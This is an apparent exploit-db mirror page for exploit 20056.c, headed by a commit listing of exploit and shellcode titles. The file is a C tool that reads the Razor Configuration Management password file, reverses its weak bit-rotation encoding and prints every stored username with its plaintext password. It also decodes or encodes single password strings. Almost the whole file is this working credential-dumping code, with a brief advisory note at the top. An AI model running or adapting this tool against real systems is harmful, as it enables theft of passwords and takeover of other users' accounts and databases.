exploit-db-mirror/exploits/unix/local/20056.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

107 lines
No EOL
2.5 KiB
C

// source: https://www.securityfocus.com/bid/1424/info
The Razor Configuration Management program stores passwords in an insecure manner.
A local attacker can obtain the Razor passwords, and either seize control of the software and relevant databases or use those passwords to access other users' accounts on the network.
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>
/************************************************************
dumprazorpasswd -
dumprazorpasswd
- prompts for input hex string to decode
dumprazorpasswd <razor_passwd_file>
- prints the users and passwords in <file>
dumprazorpasswd <passwd>
- encrypts <passwd> and prints it in hex
16-jun-2000 pbw.
************************************************************/
#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )
#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )
struct pwent
{
char uname[17];
char psswd[17];
char gname[17];
};
dumpfile (int fd)
{
int status, k;
struct pwent pwent;
while ( (status = read (fd, &pwent, 51)) > 0 )
{
if (status != 51)
{
printf ("fd = %d\n", fd);
printf ("partial read! only read %d bytes\n", status);
exit(0);
}
k = 0;
while (pwent.psswd[k] != '\0')
{
ROT8L(pwent.psswd[k], 10);
k++;
}
printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
}
}
main (int argc, char *argv[])
{
int fd,i,k;
char passwd[18];
char dpasswd[9];
if (argc < 2)
{
printf("razor passwd to decrypt :");
fgets(passwd, 17, stdin);
passwd[strlen(passwd)-1] = 0;
k=0;
for (i=0 ; i<9 ; dpasswd[i++]=0);
for (i=(strlen(passwd)-1) ; i>=0 ; i--)
{
if (k & 1)
{
dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
}
else
{
dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
}
k++;
}
for (i=0 ; i<strlen(dpasswd) ; i++)
ROT8L(dpasswd[i], 2);
printf("%s\n", dpasswd);
exit(0);
}
fd = open (argv[1], O_RDONLY);
if (fd < 0)
{ /* assume arg is a passwd to encrypt
*/
for ( i=0 ; i<strlen(argv[1]) ; i++)
printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
printf("\n");
}
else
{ /* dump file */
dumpfile(fd);
}
exit(0);
}